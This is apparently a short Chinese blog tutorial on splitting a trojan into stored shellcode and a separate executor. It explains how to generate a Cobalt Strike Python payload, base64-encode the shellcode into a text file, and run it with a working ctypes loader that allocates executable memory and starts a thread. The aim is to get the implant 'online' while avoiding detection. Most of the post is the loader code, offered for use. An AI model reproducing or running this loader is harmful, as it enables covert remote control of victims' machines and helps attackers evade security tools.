无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
lifejump33 分钟前
Arpspoof | ARP Poisoning及其防护
网络·安全·web安全
m***66734 小时前
【Sql Server】sql server 2019设置远程访问,外网服务器需要设置好安全组入方向规则
运维·服务器·安全
Lambor_Ma6 小时前
【架构】安全
安全
瀚高PG实验室6 小时前
安全版普通用户获取系统对象的访问权限
数据库·安全·瀚高数据库
yy7634966686 小时前
Teigha删除操作完全指南 | 安全彻底清理DWG文件,避免数据灾难!
数据库·安全
意疏10 小时前
Kali远程桌面+cpolar:网络安全攻防的跨域协作新范式
安全·web安全
Joe_Blue_0210 小时前
中保研汽车小偏置碰撞案例分析
安全·性能优化·汽车·硬件工程
Splashtop高性能远程控制软件13 小时前
行业观察 | 微软修复63个漏洞,包含零日与CVSS 9.8关键漏洞
运维·安全·microsoft·自动化·远程桌面·splashtop
J***Q29214 小时前
后端服务网格安全,mTLS加密通信
网络·安全
那我掉的头发算什么14 小时前
【javaEE】多线程——线程安全进阶☆☆☆
java·jvm·安全·java-ee·intellij-idea